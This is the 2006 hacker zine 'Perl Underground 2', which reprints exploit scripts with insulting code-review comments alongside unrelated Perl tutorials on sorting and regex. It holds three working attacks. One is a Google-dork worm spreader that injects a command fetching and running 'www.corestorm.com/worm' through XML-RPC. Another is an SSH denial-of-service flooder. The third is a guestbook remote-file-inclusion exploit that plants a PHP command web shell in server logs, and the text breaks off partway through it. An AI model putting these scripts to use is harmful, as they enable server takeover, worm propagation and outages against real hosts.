Copy Link
Add to Bookmark
Report
perl underground 2
$$$$$$$$$ @@@@@@@@@@@@@@@@@@$$$$ $$$$
$$$$$$$$$$$ @@@@@@@@@@@@@@@@@@@@@$$$ $$$$
$$$$ $$$$ @@@ $$$$ $$$$ @@@$$ $$$$
$$$$ $$$$ @@@ $$$$ $$$$ $$@@@ $$$$
$$$$ $$$$@@@ $$$$$$$ $$$$ $$$@@@ $$$$
$$$$$$$$$$$@@@ $$$$$$$ $$$$$$$$$$$$@@@$$$$
$$$$$$$$$$@@@ $$$$ $$$$$$$$$$ @@@$$$
$$$$ @@@ $$$$ $$$$ $$$$ @@@$$
$$$$ @@@ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$$
@@@
@@@
$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ @@@$$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ @@@$$$$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$$$ $$$$ $$$$ $$@@@ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $@@@ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@$$ $$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$$ $$$$ @@@$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$ $$$$@@@ $$$ $$$$ $$$$ $$$$
$$$$$$$$$$$$$ $$$$ $$$$$ $$@@@ $$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$ $$$$ $@@@$$$$$ $$$$$$$$$$$ $$$$ $$$$
@@@
@@@
$$$$$$$$$ $$$$$$$$$$ $$$$$$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$@@@$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ @@@$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ @@@ $$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$ $$$$$$$$$$$$ $$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$$$$$ $@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ @@@$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
$$$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$ $$$$$ $$$$$$$$$$$$
$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$ $$$$ $$$$$$$$$$$
[root@yourbox.anywhere]$ cat info.txt
Perl Underground 2: Judgement Day
That's right. We came back and we came back with style. Chasing around
the underground. More bad code, more good code, more insults, more talk,
more of something for the whole family!
[root@yourbox.anywhere]$ date
Mon Apr 17 20:19:37 EDT 2006
[root@yourbox.anywhere]$ perl Dumper-me.pl
$Chapter1 = { TITLE => 'TOC' };
$Chapter2 = { TITLE => 'Send in your application' };
$Chapter3 = { TITLE => 'uc cdej ne ucfirst perl' };
$Chapter4 = { TITLE => 'School You: Abigail' };
$Chapter5 = { TITLE => 'str0ke ch0kes' };
$Chapter6 = { TITLE => 'School You: japhy' };
$Chapter7 = { TITLE => 'Go back to PHP' };
$Chapter8 = { TITLE => 'Wait: PHP SUCKS' };
$Chapter9 = { TITLE => 'School You: MJD' };
$Chapter10 = { TITLE => 'Who are these losers?' };
$Chapter11 = { TITLE => 'School You: davorg' };
$Chapter12 = { TITLE => 'Shit on you athias' };
$Chapter13 = { TITLE => 'Intermission' };
$Chapter14 = { TITLE => 'School You: Limbic~Region' };
$Chapter15 = { TITLE => 'rape skape' };
$Chapter16 = { TITLE => 'To envision a stack' };
$Chapter17 = { TITLE => 'School You: merlyn' };
$Chapter18 = { TITLE => 'Metajoke some Metasploit' };
$Chapter19 = { TITLE => 'School You: broquaint' };
$Chapter20 = { TITLE => 'Elementary, Watson' };
$Chapter21 = { TITLE => 'School You: Grandfather' };
$Chapter22 = { TITLE => 'krissy gonna cry' };
$Chapter23 = { TITLE => 'We found nemo' };
$Chapter24 = { TITLE => 'Manifesto' };
$Chapter25 = { TITLE => 'Shoutz and Outz' };
[root@yourbox.anywhere]$ perl get-it-started.pl
-[0x01] # Send in Your Application ---------------------------------------
Perl Underground is now viewing applications! We have two positions
available.
Whipping Boy: AKA I think I can code and I'm hot shit and I want in!
and
Whipping Boy: AKA I think I can code and I'm hot shit and I want you to
rip me apart!
Both positions require an example of your best code, as well as a
narrative describing how you are hot shit.
Resumes not wanted!
Send your application to: us.
Perl Underground maintains a policy of not providing an e-mail address
to the public. Regardless, being that you are hot shit, there is an
expectation that you will get your application to us some way or
another. Remember, we are watching. If nothing else, we can be
contacted through a Google indexed page with the key phrase "I went to
Perl Underground and all I got was this lousy flamewar". You would
lose points for originality, or a lack of.
-[0x02] # uc cdej ne ucfirst perl ----------------------------------------
#!/usr/bin/perl -w
# -w is so 1996
# get your strict UP IN HERE
use LWP::UserAgent;
$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");
%h = ();
# cause you sure need that
$cmd="cd /tmp;wget www.corestorm.com/worm;mv worm bash;./bash";
# why don't you use a quote operator other than ", you ignoramous!
@yayarray = ("inurl:adimage.php", "inurl:adimage.php \"de\"",
"inurl:adimage.php \"ru\"", "inurl:adimage.php \"fr\"",
"inurl:adimage.php \"fi\"", "inurl:adimage.php \"pl\"",
"inurl:adframe.php", "inurl:adframe.php \"de\"",
"inurl:adframe.php \"ru\"", "inurl:adframe.php \"fr\"",
"inurl:adframe.php \"fi\"", "inurl:adframe.php \"pl\"",
"inurl:adjs.php", "inurl:adjs.php \"de\"",
"inurl:adjs.php \"ru\"", "inurl:adjs.php \"fr\"",
"inurl:adjs.php \"fi\"", "inurl:adjs.php \"pl\"",
"inurl:adclick.php", "inurl:adclick.php \"de\"",
"inurl:adclick.php \"ru\"", "inurl:adclick.php \"fr\"",
"inurl:adclick.php \"fi\"", "inurl:adclick.php \"pl\"");
foreach $line (@yayarray) {
# I sense a disturbance in the force
open(F, "lynx -dump \"http://www.google.com\/search?hl=us&lr=&q=$line\"|") || die "$!";
open(F, "google.sucks") || die "$!";
# who taught you regex?
# my ($php) = $line =~ /:([^.]+)\.php/;
# observe the list context
# observe the single expression
# observe the non-redundant regex
# observe the lack of reliance on .*
if($line =~ /^.*\:(.*?.php).*/) { $php = "$1"; }
# come on, why do you do ^.* at the beginning and .* at the end
# you don't need to match every aspect of a string
# the Perl regex engine is ok with data existing before and after the match
# you don't need to tell it that
# you tell it the opposite, you anchor if you want nothing before or after
# and whats with the stupid quoting
# whats with it ALL
# what were you thinking?
while(<F>) {
# less resource intensive to separate the options
# but that is a personal choice
# next if /cache/;
# next if /search/;
# not to mention you could avoid regex altogether with index
# if you cared
if(/cache|search/) { next; }
if(/^.*?\d+.*?(http:\/\/.*?)\/$php.*/) {
# ok, what the fuck. get out. just...out.
# repeat everything above, just WORSE
$h{$1}++;
}
}
}
foreach $line (sort keys %h) {
print "Found host: $line. Exploiting...\n";
# we don't call subs like this. you remember C don't you?
# where & is an address reference operater? right?
# did you ever try: exp($line); ? Wouldn't that be more obvious?
&exp($line);
}
# what the fuck is this. defined parameters in Perl?
# next thing I know you'll be using prototypes
sub exp($host) {
# local. hah hah. that doesn't belong here! as your zine says, "that's so 1996!"
# get with the times. my.
local($host) = @_;
# one line it: die "$!: Did not receive \$host" unless $host;
# don't you realize you won't have a $! here, ever?
# did you ever test this? do you know what $! is?
# or better yet, remove the line entirely!
# my ($host) = @_ or die "Did not receive \$host";
# omg control flow
if ( !$host ) {
die("$!: Did not receive \$host.");
}
# $host is a scalar of one item, and contiues to exist
while ( $host ) {
$data = "<?xmlversion=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$cmd'); die;/*</name></value></param></params></methodCall>";
$send = new HTTP::Request POST => $host;
$send->content($data);
$gots = $brws->request($send);
$show = $gots->content;
# this regex is horrible
if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is ) {
# why is there a $1 if you never use it?
# maybe because YOU RANDOMLY CAPTURED SOMETHING
print $2 . "\n";
} else {
print "$show\n";
}
}
}
# I ponder whether anyone will recognize this code.
# CDEJ isn't a good read, I expect the readers just browse past the code
-[0x03] # School You: Abigail --------------------------------------------
# Feel the love
#!/usr/bin/perl
use strict;
use warnings 'all';
use re 'eval';
my $nr_of_queens = $ARGV [0] || 8;
my $nr_of_rows = $nr_of_queens;
my $nr_of_cols = $nr_of_queens;
sub attack {
my ($q1, $q2) = @_;
my ($q1x, $q1y, $q2x, $q2y) = (@$q1, @$q2);
$q1x == $q2x || $q1y == $q2y || abs ($q1x - $q2x) == abs ($q1y - $q2y);
}
my $regex;
foreach my $queen (1 .. $nr_of_queens) {
local $" = "|\n ";
my @tmp_r;
foreach my $row (1 .. $nr_of_rows) {
push @tmp_r => "(?{local \$q [$queen] [0] = $row})";
}
$regex .= "(?:@tmp_r)\n";
my @tmp_c;
foreach my $col (1 .. $nr_of_cols) {
push @tmp_c => "(?{local \$q [$queen] [1] = $col})";
}
$regex .= "(?:@tmp_c)\n";
foreach my $other_queen (1 .. $queen - 1) {
$regex .= "(?(?{attack \$q [$other_queen], \$q [$queen]})x|)\n";
}
$regex .= "\n";
}
$regex .= "\n";
$regex .= "(?{\@sig = sort map {chr (ord ('a') + \$_ -> [0] - 1) . \$_ -> [1]}"
. " \@q [1 .. $nr_of_queens];})\n";
$regex .= "(?{print qq !\@sig\n!})";
"" =~ /$regex/x;
-[0x04] # str0ke ch0kes --------------------------------------------------
#!/usr/bin/perl
# hello there str0ke. cute little script
# sorry to hear about your problems with the more elite
# that's the price you pay for the risk of your position
use IO::Socket;
use Thread;
use strict;
my $serv = $ARGV[0];
my $port = $ARGV[1];
my $time = $ARGV[2];
# my ($serv, $port, $time) = @ARGV;
sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
# everyone has a different weird way of calling exit(). exit; exit(); exit ();
}
sub exploit
{
my ($serv, $port, $sleep) = @_;
# there you go! surprisingly like some code above..
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
# or die "blah", its the way to go!
sleep $sleep;
close($sock);
}
sub thread {
my $i=1;
print "Server: $serv\nPort: $port\nSeconds: $time\n";
# ever heard of for loops? we have them for this!
# there was this kid in a beginner's c++ class I once taught
# he only used do-while loops, because he was afraid of for loop syntax
# and while was just too straight forward for him
# are you that kid? is for just too complex for you?
# moron
# for my $i ( 1 .. 51 )
while($i < 51){
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
$i++;
}
sleep $time; #detach wouldn't be good
}
if (@ARGV != 3){&usage;}else{&thread;}
# eww. just eww. go back to Perl 4.
# actually, Perl 4 wouldn't do that
# Go back to C. or something.
# no wonder so many lame exploits end up on your site
-[0x05] # School You: japhy ----------------------------------------------
NAME
Resorting to Sorting
SYNOPSIS
A guide to using Perl's sort() function to sort data in numerous ways.
Topics covered include the Orcish maneuver, the Schwartzian Transform,
the Guttman-Rosler Transform, radix sort, and sort-by-index.
DESCRIPTION
Sorting data is a common procedure in programming -- there are
efficient and inefficient ways to do this. Luckily, in Perl, the sort()
function does the dirty work; Perl's sorting is handled internally by a
combination of merge-sort and quick-sort. However, sorting is done, by
default, on strings. In order to change the way this is done, you can
supply a piece of code to the sort() function that describes the
machinations to take place.
We'll examine all differents sorts of sorts; some have been named after
programmers you may have heard of, and some have more descriptive
names.
CONTENT
Table of Contents
Naïve Sorting
Poor practices that cause Perl to do a lot more work than necessary.
The Orcish Maneuver
Joseph Hall's implementation of "memoization" in sorting.
Radix Sort
A multiple-pass method of sorting; the time it takes to run is linearly
proportional to the size of the largest element.
Sorting by Index
When multiple arrays must be sorted in parallel, save yourself trouble
and sort the indices.
Schwartzian Transforms
Wrapping a sort() in between two map()s -- one to set up a data
structure, and the other to extract the original information -- is a
nifty way of sorting data quickly, when expensive function calls need
to be kept to a minimum.
Guttman-Rosler Transforms
It's far simpler to let sort() sort as it will, and to format your data
as something meaningful to the string comparisons sort() makes.
Portability
By giving sorting functions a prototype, you can make sure they work
from anywhere!
Naïve Sorting
Ordinarily, it's not a difficult task to sort things. You merely pass
the list to sort(), and out comes a sorted list. Perl defaults to using
a string comparison, offered by the cmp operator. This operator
compares two scalars in ASCIIbetical order -- that means "1" comes
before "A", which comes before "^", which comes before "a". For a
detailed list of the order, see your nearest ascii(1) man page.
To sort numerically, you need to supply sort() that uses the numerical
comparison operator (dubbed the "spaceship" operator), <=>:
@sorted = sort { $a <=> $b } @numbers; # ascending order
@sorted = sort { $b <=> $a } @numbers; # descending order
There are two special variables used in sorting -- $a and $b. These
represent the two elements being compared at the moment. The sorting
routine can take a block (or a function name) to use in deciding which
order the list is to be sorted in. The block or function should return
-1 if $a is to come before $b, 0 if they are the same (or, more
correctly, if their position in the sorted list could be the same), and
1 if $a is to come after $b.
Sorting, by default, is like:
@sorted = sort { $a cmp $b } @unsorted;
That is, ascending ASCIIbetical sorting. You can leave out the block in
that case:
@sorted = sort @unsorted;
Now, if we had a list of strings, and we wanted to sort them, in a
case-insensitive manner. That means, we want to treat the strings as if
they were all lower-case or upper-case. We could do something like:
@sorted = sort { lc($a) cmp lc($b) } @unsorted;
# or
@sorted = sort { uc($a) cmp uc($b) } @unsorted;
Note: There is a difference between these two sortings. There are some
punctuation characters that come after upper-case letters and before
lower-case characters. Thus, strings that start with such characters
would be placed differently in the sorted list, depending on whether we
use lc() or uc().
Now, this method of sorting is fine for small lists, but the lc() (or
uc()) function is called twice for each comparison. This might not seem
bad, but think about the consequences of performing massive
calculations on your data:
sub age_or_name {
my ($name_a, $age_a) = split /_/ => $a;
my ($name_b, $age_b) = split /_/ => $b;
return ($age_a <=> $age_b or $name_a cmp $name_b);
}
@people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
@sorted = sort age_or_name @people;
# @sorted is now
# qw( Jon_14 Tim_14 Ray_18 Greg_19 Jeff_19 Joan_20 )
This gets to be tedious. There's obviously too much work being done. We
should only have to split the strings once.
Exercises
Create a sorting subroutine to sort by the length of a string, or, if
needed, by its first five characters.
@sorted = sort { ... } @strings;
Sort the following data structure by the value of the key specified by
the "cmp" key:
@nodes = (
{ id => 17, size => 300, keys => 2, cmp => 'keys' },
{ id => 14, size => 104, keys => 9, cmp => 'size' },
{ id => 31, size => 2045, keys => 43, cmp => 'keys' },
{ id => 28, size => 6, keys => 0, cmp => 'id' },
);
The Orcish Maneuver
This method of speeding up sorting comparisons was named by Joseph
Hall. It uses a hash to cache values of the complex calculations you
need to make:
{
my %cache; # cache hash is only seen by this function
sub age_or_name {
my $data_a =
($cache{$a} ||= [ split /_/ => $a ]);
my $data_b =
($cache{$b} ||= [ split /_/ => $b ]);
return (
$data_a->[1] <=> $data_b->[1]
or
$data_a->[0] <=> $data_b->[0]
);
}
}
@people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
@sorted = sort age_or_name @people;
This procedure here uses a hash of array references to store the name
and age for each person. The first time a string is used in the sorting
subroutine, it doesn't have an entry in the %cache hash, so the || part
is used.
That is where this gets its name -- it is the OR-cache manuever, which
can be lovingly pronounced "orcish".
The main structure of Orcish sorting is:
{
my %cache;
sub function {
my $data_a = ($cache{$a} ||= mangle($a));
my $data_b = ($cache{$b} ||= mangle($b));
# compare as needed
}
}
where mangle() is some function that does the necessary calculations on
the data.
Exercises
Why should you make the caching hash viewable only by the sorting
function? And how is this accomplished?
Use the Orcish Manuever to sort a list of strings in the same way as
described in the first exercise from "Naïve Sorting".
Radix Sort
If you have a set of strings of constant width (or that can easily be
made in constant width), you can employ radix sort. This method gets
around calling Perl's sort() function altogether.
The concept of radix sort is as follows. Assume you have N strings of k
characters in length, and each character can have one of x values (for
ASCII, x is 256). We then create x "buckets", and each bucket can hold
at most N strings.
Here is a sample list of data for N = 7, k = 4, and x = 256: john,
bear, roar, boat, vain, vane, zany.
We then proceed to place each string into the bucket corresponding to
the ASCII value of its rightmost character. If we were then to print
the contents of the buckets after this first placement, our sample list
would look like: vane, john vain bear roar boat zany.
Then, we use the character immediately to the left of the one just
used, and put the strings in the buckets accordingly. This is done in
the order in which they are found in the buckets. The new list is:
bear, roar, boat, john, vain, vane, zany.
On the next round, the list becomes: vain, vane, zany, bear, roar,
boat, john.
On the final round, the list is: bear, boat, john, roar, vain, vane,
zany.
This amount of time this sorting takes is constant, and easily
calculated. If we assume that all the data is the same length, then we
take N strings, and multiply that by k characters. The algorithm also
uses some extra space for storing the strings -- it needs an extra Nk
bytes. If the data needs to be padded, there is some extra time
involved (if a character is undefined, it is set as a NUL ("\0")).
Here is a radix implementation. It returns the list it is given in
ASCIIbetical order, like sort @list would.
# sorts in-place (meaning @list gets changed)
# set $unknown to true to indicate variable length
radix_sort(\@list, $unknown);
sub radix_sort {
my ($data, $k) = @_;
$k = !!$k; # turn any true value into 1
if ($k) { $k < length and $k = length for @$data }
else { $k = length $data->[0] }
while ($k--) {
my @buckets;
for (@$data) {
my $c = substr $_, $k, 1; # get char
$c = "\0" if not defined $c;
push @{ $buckets[ord($c)] }, $_;
}
@$data = map @$_, @buckets; # expand array refs
}
}
You'll notice the first argument to this function is an array
reference. By doing this, we save copying a potentially large list,
thus taking up less space, and running faster. If, for beauty reasons,
you'd prefer not to backslash your array, you could use prototypes:
sub radix_sort (\@;$);
radix_sort @list, $unknown;
sub radix_sort (\@;$) {
# ...
}
You could combine the declaration and the definition of the function,
but the prototype must be seen before the function call.
Exercises
Why does radix sort start with the right-most character in a string?
Does the order of the elements in the input list effect the run-time of
this sorting algorithm? What happens if the elements are already
sorted? Or in the reverse sorted order?
Sorting by Index
Given the choice between sorting three lists and sorting one list,
you'd choose sorting one list, right? Good. This, then, is the strategy
employed when you sort by index. If you have three arrays that hold
different information, yet for a given index, the elements are all
related -- we say these arrays hold data in parallel -- then it seems
far too much work to sort all three arrays.
@names = qw( Jeff Jon Ray Tim Joan Greg );
@ages = qw( 19 14 18 14 20 19 );
@gender = qw( m m m m f m );
Here, all the data at index 3 ("Tim", 14, "m") is related, as it is for
any other index. Now, if we wanted to sort these arrays so that this
relationship stood, but the lists were sorted in terms of age and then
by name, then we would like our data to look like:
@names = qw( Jon Tim Ray Greg Jeff Joan );
@ages = qw( 14 14 18 19 19 20 );
@gender = qw( m m m m m f );
But to actually sort these lists requires 3 times the effort. Instead,
we will sort the indices of the arrays (from 0 to 5). This is the
function we will use:
sub age_or_name {
return (
$ages[$a] <=> $ages[$b]
or
$names[$a] cmp $names[$b]
)
}
And here it is in action:
@idx = sort age_or_name 0 .. $#ages;
print "@ages\n"; # 19 14 18 14 20 19
print "@idx\n"; # 1 3 2 5 0 4
print "@ages[@idx]\n"; # 14 14 18 19 19 20
As you can see, the array isn't touched, but the indices are given in
such an order that fetching the elements of the array in that order
yields sorted data.
Note: the $#ages variable is related to the @ages array -- it holds the
highest index used in the array, so for an array of 6 elements, $#array
is 5.
Schwartzian Transforms
A common (and rather popular) idiom in Perl programming is the
Schwartzian Transform, an approach which is like "you set 'em up, I'll
knock 'em down!" It uses the map() function to transform the incoming
data into a list of simple data structures. This way, the machinations
done to the data set are only done once (as in the Orcish Manuever).
The general appearance of the transform is like so:
@sorted =
map { get_original_data($_) }
sort { ... }
map { transform_data($_) }
@original;
They are to be read in reverse order, since the first thing done is the
map() that transforms the data, then the sorting, and then the map() to
get the original data back.
Let's say you had lines of a password file that were formatted as:
username:password:shell:name:dir
and you wanted to sort first by shell, then by name, and then by
username. A Schwartzian Transform could be used like this:
@sorted =
map { $_->[0] }
sort {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
map { [ $_, split /:/ ] }
@entries;
We'll break this down into the individual parts.
Step 1. Transform your data.
We create a list of array references; each reference holds the original
record, and then each of the fields (as separated by colons).
@transformed = map { [ $_, split /:/ ] } @entries;
That could be written in a for-loop, but understanding map() is a
powerful tool in Perl.
for (@entries) {
push @transformed, [ $_, split /:/ ];
}
Step 2. Sort your data.
Now, we sort on the needed fields. Since the first element of our
references is the original string, the username is element 1, the name
is element 4, and the shell is element 3.
@transformed = sort {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
} @transformed;
Step 3. Restore your original data.
Finally, get the original data back from the structure:
@sorted = map { $_->[0] } @transformed;
And that's all there is to it. It may look like a daunting structure,
but it is really just three Perl statements strung together.
Guttman-Rosler Transforms
Perl's regular sorting is very fast. It's optimized. So it'd be nice to
be able to use it whenever possible. That is the foundation of the
Guttman-Rosler Transform, called the GRT, for short.
The frame of a GRT is:
@sorted =
map { restore($_) }
sort
map { normalize($_) }
@original;
An interesting application of the GRT is to sort strings in a
case-insensitive manner. First, we have to find the longest run of NULs
in all the strings (for a reason you'll soon see).
my $nulls = 0;
# find length of longest run of NULs
for (@original) {
for (/(\0+)/g) {
$nulls = length($1) if length($1) > $nulls;
}
}
$NUL = "\0" x ++$nulls;
Now, we have a string of nulls, whose length is one greater than the
largest run of nulls in the strings. This will allow us to safely
separate the lower-case version of the strings from the original
strings:
# "\L...\E" is like lc(...)
@normalized = map { "\L$_\E$NUL$_" } @original;
Now, we can just send this to sort.
@sorted = sort @normalized;
And then to get back the data we had before, we split on the nulls:
@sorted = map { (split /$NUL/)[1] } @original;
Putting it all together, we have:
# implement our for loop from above
# as a function
$NUL = get_nulls(\@original);
@sorted =
map { (split /$NUL/)[1] }
sort
map { "\L$_\E$NUL$_" }
@original;
The reason we use the NUL character is because it has an ASCII value of
0, so it's always less than or equal to any other character. Another
way to approach this is to pad the string with nulls so they all become
the same length:
# see Exercise 1 for this function
$maxlen = maxlen(\@original);
@sorted =
map { substr($_, $maxlen) }
sort
map { lc($_) . ("\0" x ($maxlen - length)) . $_ }
@original;
Common functions used in a GRT are pack(), unpack(), and substr(). The
goal of a GRT is to make your data presentable as a string that will
work in a regular comparison.
Exercises
Write the maxlen() function for the previous chunk of code.
Portability
You can make a function to be used by sort() to avoid writing
potentially messy sorting code inline. For example, our Schwartzian
Transform:
@sorted =
{
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
However, if you want to declare that function in one package, and use
it in another, you run into problems.
#!/usr/bin/perl -w
package Sorting;
sub passwd_cmp {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
sub case_insensitive_cmp {
lc($a) cmp lc($b)
}
package main;
@strings = sort Sorting::case_insensitive_cmp
qw( this Mine yours Those THESE nevER );
print "<@strings>\n";
__END__
<this Mine yours Those THESE nevER>
This code doesn't change the order of the strings. The reason is
because $a and $b in the sorting subroutine belong to Sorting::, but
the $a and $b that sort() is making belong to main::.
To get around this, you can give the function a prototype, and then it
will be passed the two arguments.
#!/usr/bin/perl -w
package Sorting;
sub passwd_cmp ($$) {
local ($a, $b) = @_;
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
sub case_insensitive_cmp ($$) {
local ($a, $b) = @_;
lc($a) cmp lc($b)
}
package main;
@strings = sort Sorting::case_insensitive_cmp
qw( this Mine yours Those THESE nevER );
print "<@strings>\n";
__END__
<Mine nevER THESE this Those yours>
-[0x06] # Go back to PHP -------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
# about time you wrote something with a bit of size
print "guestbook script <= 1.7 exploit\r\n";
print "rgod rgod\@autistici.org\r\n";
print "dork: \"powered by guestbook script\"\r\n\r\n";
# misplaced and large commenting REMOVED
# interesting placement of this sub
sub main::urlEncode {
# sub main::urlEncode looks so much more elite than sub urlEncode
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
# did you really need a sub at all?
# is the unpack line really much too complex?
# considering that's ALL you end up doing
}
if (@ARGV < 4)
{
print "Usage:\r\n";
print "perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION] COMMAND\r\n\r\n";
print "SERVER - Server where Guestbook Script is installed.\r\n";
print "PATH - Path to Guestbook Script (ex: /gbs/ or just /)\r\n";
print "ACTION - 1[nothing]\r\n";
print " (tries to include apache error.log file)\r\n\r\n";
print " 2[ftp site with the code to include]\r\n\r\n";
print "COMMAND - A shell command (\"cat config.php\"\r\n";
print " to see database username & password)\r\n\r\n";
print "Example:\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat config.php\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 2ftp://username:password\@192.168.1";
print ".3/suntzu.php ls -la\r\n\r\n";
print "Note: to launch action [2] you need this code in suntzu.php :\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "echo 666;\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[cmd]=stripslashes(\$_GET[cmd]);}\r\n";
print "passthru(\$_GET[cmd]);\r\n";
print "echo 666;\r\n";
print "die;\r\n";
print "?>\r\n\r\n";
# stop that. Use some form of quote operator, like qq or heredocs
exit();
# I really start to wonder what the obsession with parens is
}
$serv=$ARGV[0];
$path=$ARGV[1];
# shift it, shift it GOOD
# and don't try to tell me the following wouldn't work with a shift
# or do, I'll just laugh at you
$ACTION=urlEncode($ARGV[2]);
# must this be caps? we try to save those for defined constants
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
# worse than: undef $cmd
# worse than: my $cmd;
# let me introduce you to a Perl for-statement
# for my $i (3 .. $#ARGV) { doshit(); domoreshit(); }
$temp=substr($ACTION,0,1);
if ($temp==2) { #this works with PHP5 and allow_url_fopen=On
$FTP=substr($ACTION,1,length($ACTION));
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
# woo quotes, everyone quotes straight variables SOONER OR LATER
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".$FTP." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
$out="";
# undef, bitch
while ($answer = <$sock>) {
$out.=$answer;
}
# $out .= $answer while $answer = <$sock>;
# or just slurp RIGHT
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
else {print "\r\nExploit failed...\r\n";}
#ugly ugly formatting job
} elsif ($temp==1) { #this works if path to log files is found and u can have access to them
print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);echo 666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
# sigh
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
# why do you interpolate vars when you shouldn't, yet don't when it's convenient?
print $sock "Connection: close\r\n\r\n";
close($sock);
# fill with possible locations
my @paths= (
"/var/log/httpd/access_log", #Fedora, default
"/var/log/httpd/error_log", #...
"../apache/logs/error.log", #Windows
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log", #and so on... collect some log paths, you will succeed
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/var/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log"
);
# ever heard of qw?
for ($i=0; $i<=$#paths; $i++)
{
$a = $i + 2;
# really need to define this don't you?
# just like before, and all SO FUCKING SHITTY, YOU STUPID PHP WHORE
print "[".$a."] trying with ".$paths[$i]."\r\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".urlEncode($paths[$i])." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
